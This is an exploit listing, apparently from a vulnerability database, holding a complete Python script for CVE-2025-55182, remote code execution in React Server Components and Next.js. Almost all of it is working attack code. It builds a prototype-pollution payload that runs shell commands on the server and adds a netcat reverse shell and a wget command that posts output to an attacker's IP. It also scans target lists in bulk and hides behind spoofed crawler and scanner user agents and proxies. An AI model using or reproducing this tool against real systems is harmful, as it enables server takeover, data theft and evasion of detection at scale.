4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exp.py PY
#!/usr/bin/env python3
"""
@file CVE-2025-55182 Exploit Script
@author Spritualkb
@date 2025-12-05
@lastModified 2025-12-05
@description React Server Components Remote Code Execution Exploit Tool

⚠️  FOR AUTHORIZED SECURITY TESTING ONLY ⚠️

Affected versions:
- react-server-dom-webpack: 19.0.0 - 19.2.0
- Next.js: 15.x, 16.x (using App Router with Server Actions)

This exploit leverages prototype pollution in Flight protocol deserialization
to achieve arbitrary code execution.

Dependencies:
- pip install requests
- pip install requests[socks]  # Required for SOCKS5 proxy support

"""

import requests
import argparse
import sys
import time
import random
import base64
import hashlib
import urllib3
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse

# Disable SSL warnings for self-signed certificates
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class Colors:
    """Terminal color class using ANSI escape codes"""
    # Basic colors
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    WHITE = '\033[97m'
    
    # Styles
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    
    # Reset
    RESET = '\033[0m'
    
    @staticmethod
    def success(text: str) -> str:
        """Success message - Green"""
        return f"{Colors.GREEN}{Colors.BOLD}[+]{Colors.RESET} {Colors.GREEN}{text}{Colors.RESET}"
    
    @staticmethod
    def error(text: str) -> str:
        """Error message - Red"""
        return f"{Colors.RED}{Colors.BOLD}[-]{Colors.RESET} {Colors.RED}{text}{Colors.RESET}"
    
    @staticmethod
    def warning(text: str) -> str:
        """Warning message - Yellow"""
        return f"{Colors.YELLOW}{Colors.BOLD}[!]{Colors.RESET} {Colors.YELLOW}{text}{Colors.RESET}"
    
    @staticmethod
    def info(text: str) -> str:
        """Info message - Blue"""
        return f"{Colors.BLUE}{Colors.BOLD}[*]{Colors.RESET} {Colors.BLUE}{text}{Colors.RESET}"
    
    @staticmethod
    def question(text: str) -> str:
        """Question message - Cyan"""
        return f"{Colors.CYAN}{Colors.BOLD}[?]{Colors.RESET} {Colors.CYAN}{text}{Colors.RESET}"
    
    @staticmethod
    def highlight(text: str) -> str:
        """Highlighted text - Magenta bold"""
        return f"{Colors.MAGENTA}{Colors.BOLD}{text}{Colors.RESET}"
    
    @staticmethod
    def target(text: str) -> str:
        """Target info - Cyan bold"""
        return f"{Colors.CYAN}{Colors.BOLD}{text}{Colors.RESET}"
    
    @staticmethod
    def vuln(text: str) -> str:
        """Vulnerability info - Red bold"""
        return f"{Colors.RED}{Colors.BOLD}{text}{Colors.RESET}"
    
    @staticmethod
    def safe(text: str) -> str:
        """Safe info - Green"""
        return f"{Colors.GREEN}{text}{Colors.RESET}"
    
    @staticmethod
    def banner() -> str:
        """Print banner"""
        banner_text = f"""
{Colors.RED}{Colors.BOLD}╔═══════════════════════════════════════════════════════════════╗
║  {Colors.YELLOW}CVE-2025-55182{Colors.RED} - React Server Components RCE Exploit      ║
║  {Colors.CYAN}Next.js Remote Code Execution Tool{Colors.RED}                         ║
╚═══════════════════════════════════════════════════════════════╝{Colors.RESET}
"""
        return banner_text


class StealthConfig:
    """
    Stealth configuration for evasion techniques
    Contains various User-Agent strings and request randomization options
    """
    
    # Common browser User-Agents for blending in
    USER_AGENTS = [
        # Chrome on Windows
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        # Chrome on Mac
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        # Firefox on Windows
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',
        # Safari on Mac
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15',
        # Edge on Windows
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
    ]
    
    # Search engine crawlers (less suspicious for scanning)
    CRAWLER_AGENTS = [
        'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
        'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
        'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
        'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)',
    ]
    
    # Legitimate security scanner agents
    SECURITY_AGENTS = [
        'Mozilla/5.0 (compatible; Nessus SOAP)',
        'Nuclei - Open-source project (github.com/projectdiscovery/nuclei)',
    ]
    
    # Common Accept headers
    ACCEPT_HEADERS = [
        'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        '*/*',
    ]
    
    # Common Accept-Language headers
    ACCEPT_LANGUAGES = [
        'en-US,en;q=0.9',
        'en-GB,en;q=0.9',
        'zh-CN,zh;q=0.9,en;q=0.8',
        'ja-JP,ja;q=0.9,en;q=0.8',
    ]
    
    @staticmethod
    def get_random_ua(mode: str = 'browser') -> str:
        """
        Get a random User-Agent based on mode
        
        @param mode: 'browser', 'crawler', or 'security'
        @returns Random User-Agent string
        """
        if mode == 'crawler':
            return random.choice(StealthConfig.CRAWLER_AGENTS)
        elif mode == 'security':
            return random.choice(StealthConfig.SECURITY_AGENTS)
        else:
            return random.choice(StealthConfig.USER_AGENTS)
    
    @staticmethod
    def get_random_headers(mode: str = 'browser') -> dict:
        """
        Generate randomized headers to avoid fingerprinting
        
        @param mode: 'browser', 'crawler', or 'security'
        @returns Dictionary of HTTP headers
        """
        headers = {
            'User-Agent': StealthConfig.get_random_ua(mode),
            'Accept': random.choice(StealthConfig.ACCEPT_HEADERS),
            'Accept-Language': random.choice(StealthConfig.ACCEPT_LANGUAGES),
            'Accept-Encoding': 'gzip, deflate, br',
            'Connection': 'keep-alive',
            'Cache-Control': 'no-cache',
        }
        
        # Randomly add some optional headers to vary fingerprint
        if random.random() > 0.5:
            headers['DNT'] = '1'
        if random.random() > 0.5:
            headers['Upgrade-Insecure-Requests'] = '1'
        if random.random() > 0.7:
            headers['Sec-Fetch-Dest'] = 'document'
            headers['Sec-Fetch-Mode'] = 'navigate'
            headers['Sec-Fetch-Site'] = 'none'
            
        return headers


class CVE2025_55182_RCE:
    """CVE-2025-55182 Full Remote Code Execution Exploit Class"""
    
    def __init__(self, target_url: str, timeout: int = 15, proxy: str = None, 
                 stealth_mode: str = 'browser', delay: float = 0):
        """
        Initialize exploit instance
        
        @param target_url: Target URL
        @param timeout: Request timeout in seconds
        @param proxy: SOCKS5 proxy address (e.g., socks5://127.0.0.1:1080)
        @param stealth_mode: UA mode - 'browser', 'crawler', or 'security'
        @param delay: Delay between requests in seconds (for rate limiting evasion)
        """
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.proxy = proxy
        self.stealth_mode = stealth_mode
        self.delay = delay
        self.session = requests.Session()
        # Disable SSL verification for self-signed/invalid certificates
        self.session.verify = False
        
        # Configure proxy
        if proxy:
            self.session.proxies = {
                'http': proxy,
                'https': proxy
            }
            print(Colors.info(f"Using proxy: {Colors.highlight(proxy)}"))
    
    def _generate_boundary(self) -> str:
        """
        Generate a random multipart boundary to avoid signature detection
        
        @returns Random boundary string
        """
        # Generate random boundary similar to real browsers
        random_part = hashlib.md5(str(random.random()).encode()).hexdigest()[:16]
        boundaries = [
            f"----WebKitFormBoundary{random_part}",
            f"----FormBoundary{random_part}",
            f"---------------------------{random.randint(10000000000000, 99999999999999)}",
        ]
        return random.choice(boundaries)
    
    def _apply_delay(self):
        """Apply configured delay between requests"""
        if self.delay > 0:
            # Add some randomness to delay (±20%)
            actual_delay = self.delay * (0.8 + random.random() * 0.4)
            time.sleep(actual_delay)
    
    def build_payload(self, command: str) -> tuple[str, str]:
        """
        Build the RCE payload exploiting prototype pollution
        
        @param command: Command to execute
        @returns (body, content_type) multipart form data
        
        The payload creates a fake React chunk object that:
        1. Pollutes Object.prototype.then via "$1:__proto__:then"
        2. Sets _formData.get to Function constructor via "$1:constructor:constructor"
        3. Injects code via _prefix that gets passed to Function()
        """
        boundary = self._generate_boundary()
        
        # Escape single quotes in command for JavaScript string
        escaped_cmd = command.replace("'", "'\"'\"'")
        
        # Build the prefix payload that executes the command
        # Use spawnSync with shell option for better stability (non-blocking alternative)
        prefix_payload = (
            f"var r=process.mainModule.require('child_process').spawnSync('sh',['-c','{escaped_cmd}'],{{encoding:'utf8',timeout:5000}});"
            f"var res=r.stdout||r.stderr||'';"
            f"throw Object.assign(new Error('NEXT_REDIRECT'),"
            f"{{digest:`NEXT_REDIRECT;push;/login?a=${{res.trim()}};307;`}});"
        )
        
        # Malicious fake chunk structure
        part0 = (
            '{"then":"$1:__proto__:then",'
            '"status":"resolved_model",'
            '"reason":-1,'
            '"value":"{\\"then\\":\\"$B1337\\"}",'
            '"_response":{'
            '"_prefix":"' + prefix_payload + '",'
            '"_chunks":"$Q2",'
            '"_formData":{"get":"$1:constructor:constructor"}'
            '}}'
        )
        
        # Build multipart form data body
        body = (
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="0"\r\n\r\n'
            f"{part0}\r\n"
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="1"\r\n\r\n'
            f'"$@0"\r\n'
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="2"\r\n\r\n'
            f"[]\r\n"
            f"--{boundary}--"
        )
        
        content_type = f"multipart/form-data; boundary={boundary}"
        return body, content_type
    
    def build_harmless_check_payload(self, variant: int = 0) -> tuple[str, str, str]:
        """
        Build harmless detection payload variants for stealthy scanning
        These payloads trigger the vulnerability signature without executing code
        
        @param variant: Payload variant (0-4)
        @returns (body, content_type, description) tuple
        """
        boundary = self._generate_boundary()
        
        # Different harmless payload variants
        payloads = [
            # Variant 0: Minimal prototype access check (original)
            {
                'body': f'["$1:a:a"]',
                'desc': 'Minimal prototype access'
            },
            # Variant 1: Empty object reference
            {
                'body': f'{{"$":"$1:x:x"}}',
                'desc': 'Empty object reference'
            },
            # Variant 2: Null value injection
            {
                'body': f'["$1:__proto__:null"]',
                'desc': 'Null prototype check'
            },
            # Variant 3: Array with reference
            {
                'body': f'[{{"ref":"$1:test:test"}}]',
                'desc': 'Array reference check'
            },
            # Variant 4: Nested object check
            {
                'body': f'{{"a":{{"b":"$1:c:d"}}}}',
                'desc': 'Nested object check'
            },
        ]
        
        selected = payloads[variant % len(payloads)]
        
        body = (
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="0"\r\n\r\n'
            f'{selected["body"]}\r\n'
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="1"\r\n\r\n'
            f'{{}}\r\n'
            f"--{boundary}--"
        )
        
        content_type = f"multipart/form-data; boundary={boundary}"
        return body, content_type, selected['desc']
    
    def execute(self, command: str) -> dict:
        """
        Execute arbitrary command on target server
        
        @param command: Shell command to execute
        @returns Dictionary with success status and output
        """
        print(Colors.info(f"Target: {Colors.target(self.target_url)}"))
        print(Colors.info(f"Command: {Colors.highlight(command)}"))
        
        # Get randomized headers for stealth
        headers = StealthConfig.get_random_headers(self.stealth_mode)
        headers['Accept'] = 'text/x-component'
        headers['Next-Action'] = 'x'  # Invalid action ID triggers vulnerable path
        
        body, content_type = self.build_payload(command)
        headers['Content-Type'] = content_type
        
        result = {
            'success': False,
            'command': command,
            'target': self.target_url,
        }
        
        self._apply_delay()
        
        try:
            print(Colors.info("Sending exploit payload..."))
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                data=body,
                timeout=self.timeout
            )
            result['status_code'] = resp.status_code
            result['response'] = resp.text[:500]
            
            # Check for successful exploitation indicators
            if resp.status_code == 500:
                print(Colors.success(f"Exploit sent successfully (status {Colors.vuln('500')})"))
                result['success'] = True
            elif 'X-Action-Redirect' in resp.headers:
                redirect = resp.headers.get('X-Action-Redirect', '')
                if 'login?a=' in redirect:
                    print(Colors.success(f"Command executed! Result in redirect: {Colors.highlight(redirect)}"))
                    result['success'] = True
                    result['output'] = redirect
                else:
                    print(Colors.question(f"Unexpected redirect: {redirect}"))
            else:
                print(Colors.question(f"Unexpected status: {resp.status_code}"))
                
        except requests.exceptions.Timeout:
            # Timeout might indicate the payload was processed
            print(Colors.success("Request timed out (may indicate successful RCE)"))
            result['success'] = True
            result['timeout'] = True
            
        except Exception as e:
            print(Colors.error(f"Error: {e}"))
            result['error'] = str(e)
        
        return result
    
    def check_vulnerability(self, use_variants: bool = False) -> bool:
        """
        Quick check if target is vulnerable using actual exploit with harmless command
        
        @param use_variants: Use multiple payload variants for thorough check
        @returns True if vulnerable, False otherwise
        """
        print(Colors.info(f"Checking {Colors.target(self.target_url)} for vulnerability..."))
        
        # 使用实际的漏洞利用载荷,但执行无害命令 pwd
        # 返回路径以 / 开头,容易匹配
        check_command = "pwd"
        body, content_type = self.build_payload(check_command)
        
        # Get randomized headers for stealth
        headers = StealthConfig.get_random_headers(self.stealth_mode)
        headers['Accept'] = 'text/x-component'
        headers['Next-Action'] = 'x'
        headers['Content-Type'] = content_type
        
        self._apply_delay()
        
        try:
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                data=body,
                timeout=self.timeout
            )
            
            # 检查漏洞利用成功的指标
            # 1. 状态码 500 且包含特定错误信息
            if resp.status_code == 500 and 'E{"digest"' in resp.text:
                print(Colors.success(f"Target is {Colors.vuln('VULNERABLE')}! (error-based detection)"))
                return True
            
            # 2. 检查 X-Action-Redirect 头 (命令执行成功的标志)
            if 'X-Action-Redirect' in resp.headers:
                redirect = resp.headers.get('X-Action-Redirect', '')
                # pwd 返回路径以 / 开头,如 /login?a=/app/web
                if 'login?a=/' in redirect:
                    print(Colors.success(f"Target is {Colors.vuln('VULNERABLE')}! (command execution confirmed)"))
                    return True
            
            # 3. 检查响应体中是否有命令执行结果
            if 'login?a=/' in resp.text:
                print(Colors.success(f"Target is {Colors.vuln('VULNERABLE')}! (response-based detection)"))
                return True
            
            # 4. 其他可能的漏洞指标
            if resp.status_code == 500 and ('prototype' in resp.text.lower() or 
                                             'cannot read' in resp.text.lower()):
                print(Colors.success(f"Target appears {Colors.vuln('LIKELY VULNERABLE')}!"))
                return True
            
            print(Colors.error(f"Target may not be vulnerable (status {resp.status_code})"))
            return False
                
        except requests.exceptions.Timeout:
            # 超时可能表示漏洞存在,但不确定,返回 'timeout' 标记
            print(Colors.warning(f"Request timeout - target {Colors.vuln('MAY BE VULNERABLE')} (command may be executing)"))
            return 'timeout'  # 返回特殊标记,不写入文件
        except requests.exceptions.ConnectionError:
            print(Colors.error(f"Check failed: Cannot connect to target"))
            return False
        except Exception as e:
            print(Colors.error(f"Check failed: {e}"))
            return False
    
    def reverse_shell(self, attacker_ip: str, attacker_port: int) -> dict:
        """
        Attempt to establish a reverse shell
        
        @param attacker_ip: IP address to connect back to
        @param attacker_port: Port to connect back to
        """
        # mkfifo reverse shell - works on Alpine/busybox containers
        revshell = (
            f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f"
        )
        
        print(Colors.warning(f"Attempting reverse shell to {Colors.highlight(f'{attacker_ip}:{attacker_port}')}"))
        print(Colors.warning(f"Start listener: {Colors.highlight(f'nc -lvnp {attacker_port}')}"))
        
        return self.execute(revshell)
    
    def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -> dict:
        """
        Execute command and send output to attacker via HTTP POST
        
        @param command: Command to execute
        @param attacker_ip: IP address to send output to
        @param attacker_port: Port to send output to
        
        Start a listener with: nc -lvnp PORT
        Output will arrive as HTTP POST body.
        """
        # Using wget to POST command output back
        exfil_cmd = f'wget --post-data="$({command})" http://{attacker_ip}:{attacker_port}/ -O- 2>/dev/null'
        
        print(Colors.warning(f"Executing: {Colors.highlight(command)}"))
        print(Colors.warning(f"Output will POST to {Colors.highlight(f'{attacker_ip}:{attacker_port}')}"))
        print(Colors.warning(f"Start listener: {Colors.highlight(f'nc -lvnp {attacker_port}')}"))
        
        return self.execute(exfil_cmd)


# Thread-safe lock for file writing and counters
_file_lock = threading.Lock()
_counter_lock = threading.Lock()


def _check_single_target(target, timeout, proxy, stealth_mode, delay, use_variants, 
                         output_file, results, counter, total):
    """
    Check a single target (used by thread pool)
    
    @param target: Target URL
    @param timeout: Request timeout
    @param proxy: Proxy address
    @param stealth_mode: UA mode
    @param delay: Delay between requests
    @param use_variants: Use payload variants
    @param output_file: Output file path
    @param results: Shared results dict
    @param counter: Shared counter list [current]
    @param total: Total targets count
    """
    # Ensure URL has protocol prefix
    if not target.startswith(('http://', 'https://')):
        target = f'http://{target}'
    
    with _counter_lock:
        counter[0] += 1
        idx = counter[0]
    
    progress = f"[{idx}/{total}]"
    print(f"\n{Colors.YELLOW}{Colors.BOLD}{progress}{Colors.RESET} Checking: {Colors.target(target)}")
    
    try:
        exploit = CVE2025_55182_RCE(target, timeout, proxy, stealth_mode, delay)
        result = exploit.check_vulnerability(use_variants)
        
        if result == True:  # 确认漏洞,写入文件
            with _counter_lock:
                results['vulnerable'].append(target)
            # Immediately append to output file if specified
            if output_file:
                with _file_lock:
                    try:
                        with open(output_file, 'a', encoding='utf-8') as f:
                            f.write(f"{target}\n")
                        print(Colors.success(f"Appended to: {Colors.highlight(output_file)}"))
                    except Exception as e:
                        print(Colors.error(f"Failed to append: {e}"))
        elif result == 'timeout':  # 超时,不写入文件
            with _counter_lock:
                results['timeout'].append(target)
        else:
            with _counter_lock:
                results['not_vulnerable'].append(target)
    except Exception as e:
        print(Colors.error(f"Error checking {target}: {e}"))
        with _counter_lock:
            results['not_vulnerable'].append(target)


def batch_check(file_path, timeout=15, output_file=None, proxy=None, 
                stealth_mode='browser', delay=0, use_variants=False, threads=10):
    """
    Batch check targets from file for vulnerability (multi-threaded)
    
    @param file_path: Path to file containing target URLs
    @param timeout: Request timeout in seconds
    @param output_file: Path to save vulnerable targets
    @param proxy: SOCKS5 proxy address
    @param stealth_mode: UA mode - 'browser', 'crawler', or 'security'
    @param delay: Delay between requests in seconds
    @param use_variants: Use multiple payload variants
    @param threads: Number of concurrent threads
    @returns (vulnerable_list, not_vulnerable_list) tuple
    """
    results = {'vulnerable': [], 'not_vulnerable': [], 'timeout': []}
    counter = [0]  # Mutable counter for threads
    
    def target_generator(file_path):
        """Generator to read targets lazily, avoiding memory issues with large files"""
        with open(file_path, 'r', encoding='utf-8') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    yield line
    
    try:
        # First pass: count total lines (memory efficient)
        print(Colors.info("Counting targets..."))
        total = sum(1 for line in open(file_path, 'r', encoding='utf-8') 
                   if line.strip() and not line.strip().startswith('#'))
        print(Colors.info(f"Loaded {Colors.highlight(str(total))} targets"))
    except FileNotFoundError:
        print(Colors.error(f"File not found: {file_path}"))
        return [], []
    except Exception as e:
        print(Colors.error(f"Failed to read file: {e}"))
        return [], []
    
    print(Colors.info(f"Threads: {Colors.highlight(str(threads))}"))
    if proxy:
        print(Colors.info(f"Using proxy: {Colors.highlight(proxy)}"))
    print(Colors.info(f"Stealth mode: {Colors.highlight(stealth_mode)}"))
    if delay > 0:
        print(Colors.info(f"Request delay: {Colors.highlight(f'{delay}s')}"))
    print(f"{Colors.CYAN}{'-' * 60}{Colors.RESET}")
    
    # Use ThreadPoolExecutor for concurrent scanning with generator
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = []
        # Submit tasks using generator (memory efficient for large files)
        for target in target_generator(file_path):
            future = executor.submit(
                _check_single_target, target, timeout, proxy, stealth_mode, 
                delay, use_variants, output_file, results, counter, total
            )
            futures.append(future)
        
        # Wait for all tasks to complete
        for future in as_completed(futures):
            try:
                future.result()
            except Exception as e:
                print(Colors.error(f"Thread error: {e}"))
    
    # Output statistics
    vulnerable = results['vulnerable']
    not_vulnerable = results['not_vulnerable']
    timeout_targets = results['timeout']
    
    print(f"\n{Colors.CYAN}{'=' * 60}{Colors.RESET}")
    vuln_count = f"{Colors.GREEN}{Colors.BOLD}{len(vulnerable)}{Colors.RESET}"
    timeout_count = f"{Colors.YELLOW}{len(timeout_targets)}{Colors.RESET}"
    safe_count = f"{Colors.RED}{len(not_vulnerable)}{Colors.RESET}"
    print(Colors.info(f"Scan complete! Total: {Colors.highlight(str(total))}, Vulnerable: {vuln_count}, Timeout: {timeout_count}, Not vulnerable: {safe_count}"))
    print(f"{Colors.CYAN}{'=' * 60}{Colors.RESET}")
    
    if vulnerable:
        print(Colors.success("Vulnerable targets (confirmed):"))
        for target in vulnerable:
            print(f"    {Colors.vuln('●')} {Colors.target(target)}")
        
        # Results already saved incrementally during scan
        if output_file:
            print(Colors.success(f"All results saved to: {Colors.highlight(output_file)}"))
    
    if timeout_targets:
        print(Colors.warning(f"Timeout targets (may be vulnerable, not saved): {len(timeout_targets)}"))
    
    return vulnerable, not_vulnerable


def main():
    """Main entry point"""
    parser = argparse.ArgumentParser(
        description='CVE-2025-55182 React Server Components RCE Exploit Tool',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Examples:
  # Check single target for vulnerability
  python3 exploit.py http://target:3000 --check
  
  # Use SOCKS5 proxy for scanning
  python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
  
  # Batch check from file with stealth options
  python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
  
  # Batch check with multiple payload variants
  python3 exploit.py -f targets.txt --check --variants
  
  # Save vulnerable targets to file
  python3 exploit.py -f targets.txt --check -o vulnerable.txt
  
  # Execute command (blind)
  python3 exploit.py http://target:3000 -c "id"
  
  # Exfiltrate command output
  python3 exploit.py http://target:3000 --exfil "id" 10.0.0.1 4444
  
  # Reverse shell (mkfifo + nc, works on Alpine)
  python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444

Stealth Modes:
  browser  - Mimics real browser requests (default)
  crawler  - Mimics search engine crawlers (Googlebot, Baiduspider, etc.)
  security - Uses security scanner User-Agents
'''
    )
    
    parser.add_argument('target', nargs='?', help='Target URL (e.g., http://localhost:3000)')
    parser.add_argument('-f', '--file', help='File containing target URLs (one per line)')
    parser.add_argument('-o', '--output', help='Output file for vulnerable targets')
    parser.add_argument('-c', '--command', help='Command to execute (blind)')
    parser.add_argument('--check', action='store_true', help='Check for vulnerability')
    parser.add_argument('--proxy', help='SOCKS5 proxy (e.g., socks5://127.0.0.1:1080)')
    parser.add_argument('--stealth', choices=['browser', 'crawler', 'security'], 
                       default='browser', help='Stealth mode for User-Agent (default: browser)')
    parser.add_argument('--delay', type=float, default=0, 
                       help='Delay between requests in seconds (default: 0)')
    parser.add_argument('--variants', action='store_true', 
                       help='Use multiple payload variants for thorough check')
    parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'), 
                       help='Reverse shell to IP:PORT')
    parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'),
                       help='Execute CMD and POST output to IP:PORT')
    parser.add_argument('-t', '--timeout', type=int, default=15, 
                       help='Request timeout in seconds (default: 15)')
    parser.add_argument('--threads', type=int, default=10, 
                       help='Number of concurrent threads for batch scan (default: 10)')
    
    args = parser.parse_args()
    
    if not any([args.check, args.command, args.revshell, args.exfil]):
        parser.print_help()
        print(Colors.warning("Please specify --check, --command, --revshell, or --exfil"))
        return 1
    
    # Check if target or file is provided
    if not args.target and not args.file:
        parser.print_help()
        print(Colors.warning("Please specify target URL or use -f for target file"))
        return 1
    
    # Print colored banner
    print(Colors.banner())
    
    # Batch check mode
    if args.file and args.check:
        vulnerable, _ = batch_check(
            args.file, args.timeout, args.output, args.proxy,
            args.stealth, args.delay, args.variants, args.threads
        )
        return 0 if vulnerable else 1
    
    # Single target mode requires target argument
    if not args.target:
        parser.print_help()
        print(Colors.warning("Single target mode requires target URL"))
        return 1
    
    exploit = CVE2025_55182_RCE(
        args.target, args.timeout, args.proxy, 
        args.stealth, args.delay
    )
    
    if args.check:
        return 0 if exploit.check_vulnerability(args.variants) else 1
    
    if args.command:
        result = exploit.execute(args.command)
        return 0 if result.get('success') else 1
    
    if args.revshell:
        ip, port = args.revshell
        result = exploit.reverse_shell(ip, int(port))
        return 0 if result.get('success') else 1
    
    if args.exfil:
        cmd, ip, port = args.exfil
        result = exploit.exfiltrate(cmd, ip, int(port))
        return 0 if result.get('success') else 1
    
    return 0


if __name__ == '__main__':
    sys.exit(main())